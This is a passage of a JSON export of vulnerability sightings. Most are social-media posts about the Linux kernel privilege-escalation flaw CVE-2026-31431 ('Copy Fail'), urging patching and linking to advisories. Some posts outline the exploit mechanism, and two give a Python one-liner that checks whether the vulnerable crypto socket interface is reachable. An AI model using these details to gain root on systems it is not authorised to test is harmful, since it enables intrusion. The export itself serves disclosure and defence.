\u3053\u306e\u8106\u5f31\u6027\u306f\u3001 \u4e00\u822c\u30e6\u30fc\u30b6\u30fc...\nhttps://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-04-30T13:55:06.460589Z"}, {"uuid": "f0662d21-6785-4578-99d7-2784bb9b8a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpscgvlons2", "content": "Copy Fail : cette redoutable faille Linux permet d\u2019obtenir un acc\u00e8s root Copy Fail (CVE-2026-31431), c'est le nom de la faille critique d\u00e9couverte dans le noyau Linux. Elle offre un acc\u00e8s ...\n\n#Actu #Cybers\u00e9curit\u00e9 #Cybers\u00e9curit\u00e9 #Linux #Vuln\u00e9rabilit\u00e9\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T14:13:19.520812Z"}, {"uuid": "5d264563-98cf-420a-ab87-3713d274b36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mkpsomr4q52i", "content": "\ud83d\udcf0 Celah Linux Baru 'Copy Fail' Beri Peretas Akses Root di Berbagai Distro Utama\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/04/30/celah-linux-baru-copy-fail-beri-peretas-akses-root-di-berbagai-distro/\n\n#ahmandonkTechNews #beritaTeknologi #copyFail #cve-2026-31431 #dirtyPipe #ek", "creation_timestamp": "2026-04-30T14:20:06.563931Z"}, {"uuid": "19bcc0de-7ba9-4889-b6dd-c7bf1e98c448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mkpsor4axd2k", "content": "Copy Fail Linux Root Exploit Released: Critical Kernel Bug Lets Local Users Gain Full\u00a0Control\n\nIntroduction A newly disclosed Linux privilege escalation vulnerability named Copy Fail is drawing serious attention across the cybersecurity world. Tracked as CVE-2026-31431, the flaw affects Linux\u2026", "creation_timestamp": "2026-04-30T14:20:11.085320Z"}, {"uuid": "db590968-3557-46f7-a1eb-751d696c07ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/116494107330904168", "content": "CVE-2026-31431 - crypto: algif_aead - Revert to operating out-of-place\n\ud83d\udd17 https://vulnerability.circl.lu/vuln/CVE-2026-31431#comments", "creation_timestamp": "2026-04-30T14:23:31.090186Z"}, {"uuid": "c5ee1a2e-15c8-4e11-ac36-2be2b169da05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116494202989973801", "content": "\ud83d\udcf0 Critical 'Copy Fail' Linux Flaw (CVE-2026-31431) Gives Instant Root on Major Distros\n\u26a0\ufe0f Critical 'Copy Fail' Linux flaw (CVE-2026-31431) allows any local user to get instant root access! Affects distros since 2017 like Ubuntu, Debian, RHEL. A simple, reliable exploit exists. Patch now! #Linux #CyberSecurity #LPE\n\ud83d\udd17 https://cyber.netsecops.io", "creation_timestamp": "2026-04-30T14:47:51.520795Z"}, {"uuid": "1a1bcc08-ab7e-486f-ab21-f5d88ed1c235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mkpuazkvuz2w", "content": "\u26a0\ufe0f Critical 'Copy Fail' Linux flaw (CVE-2026-31431) allows any local user to get instant root access! Affects distros since 2017 like Ubuntu, Debian, RHEL. A simple, reliable exploit exists. Patch now! #Linux #CyberSecurity #LPE", "creation_timestamp": "2026-04-30T14:48:18.538166Z"}, {"uuid": "497b1dd4-4853-4fa3-93e5-b4bdb0d83817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ostechnix.bsky.social/post/3mkpv6xnioc2b", "content": "Copy Fail (CVE-2026-31431) is a severe logic flaw in the Linux kernel affecting almost every distribution since 2017. Patch your systems now!\n\nMore details here: ostechnix.com/copy-fail-cv... \n\n#Copyfail #CVE202631431 #Pagecache #Linuxkernel #LinuxPrivilegeEscalation #Security #XintCode #TaeyangLee", "creation_timestamp": "2026-04-30T15:05:07.662925Z"}, {"uuid": "6fc3c360-3dc6-4712-8ebe-65d670517c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jianmin.defcon.social.ap.brid.gy/post/3mkpv2co5snh2", "content": "`python3 -c 'import socket; s=socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\")); print(\"REACHABLE\")' 2>&1`\n\nIf you see: \"file not found\" then you're probably not vulnerable to copy.fail (CVE-2026-31431)\n\nIf you see \"REACHABLE,\" that [\u2026]", "creation_timestamp": "2026-04-30T15:05:22.456779Z"}, {"uuid": "a28dc140-d377-41e2-af49-e1a0f23694ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linuxiac.bsky.social/post/3mkpvdpso5k25", "content": "Copy Fail (CVE-2026-31431) is a Linux kernel vulnerability that allows local unprivileged users to gain root access on affected systems.\nlinuxiac.com/copy-fail-li...\n\n#Linux #Kernel #OpenSource", "creation_timestamp": "2026-04-30T15:07:46.691202Z"}, {"uuid": "f408f387-966a-4bda-929d-8c99ce1932c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jianmin.defcon.social.ap.brid.gy/post/3mkpvvr6mcyv2", "content": "python3 -c 'import socket; s=socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\")); print(\"REACHABLE\")' 2>&1\n\nIf you see: \"file not found\" then you're probably not vulnerable to copy.fail (#CVE-2026-31431 #copyfail)\n\nIf you see \"REACHABLE,\" [\u2026]", "creation_timestamp": "2026-04-30T15:17:57.982071Z"}, {"uuid": "7ccd479b-e0f1-4a28-bcae-0ffe26da0918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31393", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:21:50.931224Z"}, {"uuid": "a9515d4c-89db-4403-807e-26de755dc471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31396", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:21:53.215300Z"}, {"uuid": "555f566c-19ce-4690-b4f1-8dd133d670e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31405", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:24:11.352045Z"}, {"uuid": "e4ed8f56-5a49-4633-ac36-c2466ca8a03a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkpvzmhj332v", "content": "CVE-2026-31431: \u300cCopy Fail\u300dLinux \u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u6570\u79d2\u3067 root\u00a0\u6a29\u9650\u3092\u53d6\u5f97\u53ef\u80fd\n\n\u8105\u5a01\u7814\u7a76\u30c7\u30a3\u30ec\u30af\u30bf\u30fc2026\u5e744\u670829\u65e5\u3001Linux \u30ab\u30fc\u30cd\u30eb\u306e algif_aead \u30e6\u30fc\u30b6\u30fc\u30b9\u30da\u30fc\u30b9\u6697\u53f7\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3067\u3001\u300cCopy Fail\u300d\u3068\u547c\u3070\u308c\u308b CVE-2026-31431\uff08CVSS 7.8 HIGH\uff09\u304c\u958b\u793a\u3055\u308c\u307e\u3057\u305f\u3002Theori \u306e\u7814\u7a76\u8005\u3089\u306f\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c setuid \u30d0\u30a4\u30ca\u30ea", "creation_timestamp": "2026-04-30T15:19:56.215430Z"}, {"uuid": "d396c0e7-d547-4666-a23d-279b7819b5a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kicksecure.com/post/3mkpwmeattb24", "content": "copy.fail / CVE-2026-31431: Linux kernel local privilege escalation.\n\nUpdate kernels when fixes land, then reboot.\n\nHelp wanted: reduce SUID attack surface upstream. If you don\u2019t help, it probably won\u2019t happen.\n\nforums.kicksecure.co...\n", "creation_timestamp": "2026-04-30T15:30:25.815649Z"}, {"uuid": "79c84a3b-d8f5-4773-a2b0-fc05394273b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ineumann.fr/post/3mkpxywbres24", "content": "Elle est m\u00e9ga chaude la CVE-2026-31431, surpris que \u00e7a fasse pas au moins autant de bruit que xzutils ou log4j gitlab.cwcloud.tech/oss/cve-2026... surtout que les patchs sont pas ouf encore", "creation_timestamp": "2026-04-30T15:55:23.597998Z"}, {"uuid": "c8f4f6bb-845e-4f52-adcd-78ef0962865f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31407", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:24:14.878274Z"}, {"uuid": "c17ad11e-90ff-412a-b126-496ab4e1eae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fschmidt.bsky.social/post/3mkpx3dh6rk2x", "content": "CVE-2026-31431 (Kollegen haben es schon gefixt.)", "creation_timestamp": "2026-04-30T15:38:47.760981Z"}, {"uuid": "7f4b0809-23fc-4fc6-82bb-203d5612c94b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkpxh6nhik2q", "content": "The \u201cCopy Fail\u201d flaw (CVE-2026-31431) allows local attackers to gain root access on Linux kernels since 2017 via a controlled 4-byte write to page cache using AF_ALG and splice. #LinuxKernel #LocalExploit #USA", "creation_timestamp": "2026-04-30T15:45:25.883286Z"}, {"uuid": "66d8f06f-0c71-4c73-8f66-ef8f645a4ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/samuelvermeulenpro.bsky.social/post/3mkpxhueple2z", "content": "#ActuLibre - Copy Fail (CVE-2026-31431) : d\u00e9tecter, corriger, comprendre \u00e0 lire sur\nhttps://loud-technology.com/insight/copy-fail-cve-2026-31431-faille-kernel-linux/", "creation_timestamp": "2026-04-30T15:45:48.344187Z"}, {"uuid": "672dd42a-b655-4303-ac37-551c7ce6c40f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpxq37ox2j2", "content": "CVE-2026-31431: \u201cCopy Fail\u201d Linux kernel flaw lets local users gain root in seconds\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T15:50:27.053718Z"}, {"uuid": "7d12b601-d455-4dfa-a51c-d77423715cdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bellmore.bsky.social/post/3mkpyftxtk22v", "content": "Nerd friends:\n\nYesterday, CVE-2026-31431 (\"Copy Fail\") was publicly disclosed. This exploit allows an unprivileged shell user on a Linux system to gain root access with a simple 10-line Python script. The mechanisms for the exploit can be found at copy.fail.\n\nPlease patch your systems ASAP!\n#Infosec", "creation_timestamp": "2026-04-30T16:02:34.151393Z"}, {"uuid": "2e90556c-0b46-40f8-adc6-6eaec55fe7f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31408", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:24:19.245024Z"}, {"uuid": "d693ce1a-99d5-4930-8ac4-faa4955dff8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31409", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:24:22.403479Z"}, {"uuid": "97b9e945-966d-4509-a1ed-7c2eb0c3863e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31411", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:24:55.374618Z"}, {"uuid": "d84f14f2-85a0-438b-a814-c6309bda6827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mkpyn2ctmpy2", "content": "Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability A flaw in the Linux kernel present since 2017 allows a local user to gain root access on...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T16:06:38.980933Z"}, {"uuid": "1a784a25-e75a-4a64-b9a2-a02b6b03b35d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lampsofgold.veoh.social.ap.brid.gy/post/3mkpz6kljg572", "content": "@mntmn looks like there\u2019s an aarch64 port https://github.com/theori-io/copy-fail-CVE-2026-31431/pull/25", "creation_timestamp": "2026-04-30T16:16:24.346711Z"}, {"uuid": "fccde9ef-75ba-4b57-9e30-48b7c1e63c97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkpzr5h2th25", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T16:26:47.142428Z"}, {"uuid": "4146553c-1f2e-4f9c-a30e-e7996c165353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkpzxujny62s", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T16:30:32.598522Z"}, {"uuid": "4059e598-c5a2-4374-a893-6e1a8cfb17b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq27k433p2v", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T16:34:50.009044Z"}, {"uuid": "84758647-e254-471d-804e-c4473e751fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mkq2arf6e72p", "content": "Xint Code disclosed CopyFail (CVE-2026-31431) Wednesday. Logic bug in the kernel crypto socket layer from a 2017 commit. Nine years on every major distro. Fuzzing missed it. Static analysis missed it. AI-assisted review caught it. Rust would not have, this is logic.\n\n#Linux #InfoSec #OpenSource", "creation_timestamp": "2026-04-30T16:35:31.330211Z"}, {"uuid": "7475ed26-25f9-43d5-968b-4c4860c88e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/iwate.me/post/3mkq2k2afdn2p", "content": "[AUTO] I read this.\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nhttps://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-04-30T16:40:42.461637Z"}, {"uuid": "282a1d67-f96c-4419-b726-172532364a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31415", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:25:25.996697Z"}, {"uuid": "bc1da2f3-28be-4638-ba0a-a550cf365b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/egghat.bsky.social/post/3mkq2way7zv2t", "content": "Oops.\n\n\u201eIf your kernel was built between 2017 and the patch \u2014 which covers essentially every mainstream Linux distribution \u2014 you're in scope.\u201c\n\nCopy Fail \u2014 CVE-2026-31431 copy.fail\n#BadNews", "creation_timestamp": "2026-04-30T16:47:32.774775Z"}, {"uuid": "15f6402a-90e7-4620-b388-472d86851c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3mkq2waszmp2n", "content": "CVE-2026-31431 gives any local user reliable root access on Linux systems deployed since 2017, with no race conditions needed and no forensic traces left behind. #infosec #cybersecurity", "creation_timestamp": "2026-04-30T16:47:33.314794Z"}, {"uuid": "55cf6e44-b903-4189-9e83-0541ccabe7c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/codeenigma.toots.codeenigma.com.ap.brid.gy/post/3mkq2ryjeosl2", "content": "In case anyone is wondering about exposure to #CopyFail, CVE-2026-31431, well we're exposed of course, like everyone. Currently waiting for a #Debian patch to drop. unattended-upgrades will take care of applying it and we will take care of reboots as required.\n\nFORTUNATELY, in almost every case [\u2026]", "creation_timestamp": "2026-04-30T16:47:42.867419Z"}, {"uuid": "a38e5f7d-69b4-4a92-828a-f5128536666a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/codeenigma.toots.codeenigma.com.ap.brid.gy/post/3mkq2ua423fv2", "content": "Related links:\n\nhttps://copy.fail/\nhttps://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-04-30T16:49:20.896241Z"}, {"uuid": "b127a3d5-bfde-45ed-a157-12b8da120133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116494699869475729", "content": "New.\n\"Hello! Yes, it's all a disaster again!\"\nWatch Tower: The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940) https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ #threatresearch \nAlso:\nTenable: Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation @tenable #Linux #infosec #vulnerability", "creation_timestamp": "2026-04-30T16:54:12.966621Z"}, {"uuid": "c490b9de-6d61-4eb2-bba2-8d4de14c846e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mkq44qmae72c", "content": "Critical #LinuxKernel vulnerability 'Copy Fail' (CVE-2026-31431) grants root access across major distributions since 2017. Immediate patching recommended. #CyberSecurity #Linux #Vulnerability Link: thedailytechfeed.com/critical-lin...", "creation_timestamp": "2026-04-30T17:09:05.496194Z"}, {"uuid": "fe19479f-66dd-41d7-8a98-d857c04aae5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31421", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:26:33.951400Z"}, {"uuid": "cbee490d-afb2-43fb-b072-63048fe04e6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31422", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:26:36.242012Z"}, {"uuid": "01728123-98b5-44f1-afd2-a65e293db558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31423", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:27:14.743294Z"}, {"uuid": "2553b4c7-3874-433f-9696-3d3c456d79b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31425", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:27:49.555154Z"}, {"uuid": "2516ff9a-fd70-476c-bd01-7123cd02d3d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/upsun.com/post/3mkq4pfzvfs25", "content": "We are aware of the recently disclosed copy.fail vulnerability (CVE-2026-31431) and want to assure our customers that Upsun systems are not affected. The module targeted by this vulnerability is disabled in our platform. There is no risk of exploitation, and no action is required on your part. \u2728 1/3", "creation_timestamp": "2026-04-30T17:19:35.238890Z"}, {"uuid": "333fa63b-b55a-4202-b1f7-36db7ad8cc08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mkq4jiyuei27", "content": "Copy Fail Linux vuln allows root\u00a0access\n\nYesterday, Theori disclosed\u00a0CVE-2026-31431, dubbed\u00a0Copy Fail, a Linux kernel vulnerability that allows any unprivileged local user to gain root access on virtually every major Linux distribution shipped since 2017. In the Linux kernel, the following\u2026", "creation_timestamp": "2026-04-30T17:16:11.893065Z"}, {"uuid": "61a600d7-a1c8-4327-ab32-42e4ee057c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkq4l6u2tt2v", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T17:17:08.483737Z"}, {"uuid": "1cd8e428-b107-4e4c-9381-037cd9e44fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/epowo-uzata.mast.qixto.com.ap.brid.gy/post/3mkq4lw5cy6h2", "content": "Kopiointi ep\u00e4onnistui: Linux-ytimen LPE mahdollistaa roottauksen 10-rivisell\u00e4 Python-skriptill\u00e4 CVE-2026-31431, nimelt\u00e4\u00e4n Copy Fail, hy\u00f6dynt\u00e4\u00e4 Linux-ytimen authencesn\n\nhttps://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/", "creation_timestamp": "2026-04-30T17:17:35.781060Z"}, {"uuid": "2844e5af-2b39-4e6b-ab9f-0515c93b64cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/upsun.com/post/3mkq4pfzpkc25", "content": "We are aware of the recently disclosed copy.fail vulnerability (CVE-2026-31431) and want to assure our customers that Upsun systems are not affected. The module targeted by this vulnerability is disabled in our platform. There is no risk of exploitation, and no action is required on your part. \u2728 1/3", "creation_timestamp": "2026-04-30T17:19:30.654806Z"}, {"uuid": "3f000655-74b6-4996-8059-06894783b4f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/upsun.com/post/3mkq4pfzugk25", "content": "We are aware of the recently disclosed copy.fail vulnerability (CVE-2026-31431) and want to assure our customers that Upsun systems are not affected. The module targeted by this vulnerability is disabled in our platform. There is no risk of exploitation, and no action is required on your part. \u2728 1/3", "creation_timestamp": "2026-04-30T17:19:31.836980Z"}, {"uuid": "918da6db-9d1c-43ae-8c03-5e4a738b3564", "vulnerability_lookup_origin": 